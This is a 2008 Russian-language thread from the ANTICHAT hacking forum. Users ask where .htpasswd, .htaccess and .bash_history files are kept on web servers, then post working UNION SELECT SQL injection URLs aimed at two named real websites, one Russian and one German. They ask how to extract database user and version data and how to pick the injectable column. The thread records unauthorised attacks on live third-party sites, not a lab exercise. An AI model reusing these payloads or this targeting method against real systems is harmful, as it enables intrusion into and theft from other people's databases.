HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.08.2008, 17:44
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

Велемир, .htpasswd и .htaccess могут лежать где угодно. Но чаще всего .htpasswd лежит или в корне или рядом с .htaccess, который, в свою очередь лежит, чаще всего, в папке, которая им защищена, или тоже в корне Права бд тут не при чем. А права системы нужны в зависимости от того какой уровень доступа поставил админ.

Последний вопрос не понял о_О
 
Ответить с цитированием

  #2  
Старый 05.08.2008, 17:45
Redyps
Banned
Регистрация: 17.07.2008
Сообщений: 14
С нами: 9377666

Репутация: 27
По умолчанию

Цитата:
Кто может сказать,где лежат файлы .htpasswd,.htaccess и .bash_history ?И ещё: для чтения нужны права рута от бд или системы ?
ну htpasswd и htaccess лежать могут где угодно в корне сайта
могут в самом корне, могут например в www.site.com/admin/, если например админка защищена щтацесом. Права на чтении будет всегда для пользователя от которого работает апач, однако прочитать их обычным запросом браузера типа www.site.com/.htaccess не получиться. Баш хистори обычно лежит в папке юзера, если например сайт в папке /home/someuser/httpdocs/ , то баш хистори в /home/someuser/.bash_history, прав на чтение как правило нет.
Если я тебя правильно понял =()

Последний раз редактировалось Redyps; 05.08.2008 в 17:48..
 
Ответить с цитированием

  #3  
Старый 05.08.2008, 17:54
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

Всем спасибо )))))))
 
Ответить с цитированием

  #4  
Старый 05.08.2008, 18:54
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

Ещё вопрос: Почему некоторые поля таблицы не отображаются,хотя присутствуют ?
 
Ответить с цитированием

  #5  
Старый 05.08.2008, 20:55
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

Велемир, они могут быть пустыми
 
Ответить с цитированием

  #6  
Старый 05.08.2008, 22:46
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

Цитата:
Сообщение от n0ne  
Велемир, они могут быть пустыми
Эм...При проверке на NULL взял поле,которое возвращает значение.is+null - не высвечивается ничего.is+not+null - высвечивается содержимое поля,тобишь,если не ноль, данные выводятся,а если ноль - нет?Или писаться NULL должно ? Просто результаты что с *якобы* пустым полем, и с полем со значением - одинаковые.
 
Ответить с цитированием

  #7  
Старый 06.08.2008, 08:00
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

Велемир, я плохой телепат. Напиши полностью запросы которые ты проводишь и ответы на них. Извини, но пишешь ты непонятно)
 
Ответить с цитированием

  #8  
Старый 06.08.2008, 12:12
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию

http://www.rtr.spb.ru/People_line/viewmsg.asp?ID=-17775+union+select+1,2,3,4,user,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21+where+user+is+not+null--&FID=17452

Не ноль - выводит данные.

http://www.rtr.spb.ru/People_line/viewmsg.asp?ID=-17775+union+select+1,2,3,4,user,6,7,8,9,10,11,12,1 3,14,15,16,17,18,19,20,21+where+user+is+null--&FID=17452

Ноль - не выводит).Так получается ?

Последний раз редактировалось Велемир; 06.08.2008 в 12:26..
 
Ответить с цитированием

  #9  
Старый 06.08.2008, 12:38
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Велемир
Ты конечно величайший экспериментатор современности, но тебе самому не надоело , что 90% твоих постов просто никто не понимает, а 70% удаляют модераторы?

Прочитай хоть одну книгу по интересующей тебя теме, и все твои вопросы отпадут.

По поводу последнего поста вот онлайн справочник по базам данных:
http://www.sql.ru/docs/

Умоляю тебя, прочитай хоть что-нибудь!!!
 
Ответить с цитированием

  #10  
Старый 06.08.2008, 14:19
Buddah
Новичок
Регистрация: 26.11.2007
Сообщений: 6
С нами: 9715161

Репутация: 5
По умолчанию

нашел вот такой сайт

Код:
http://www.elementar.de/cms/index.php?id=487&L=-1231314+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95/*
попробовал подставить version() в каждое из 95 полей , как вообще лучше искать то поле (если их например больше 50) куда подставлять нужный код?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.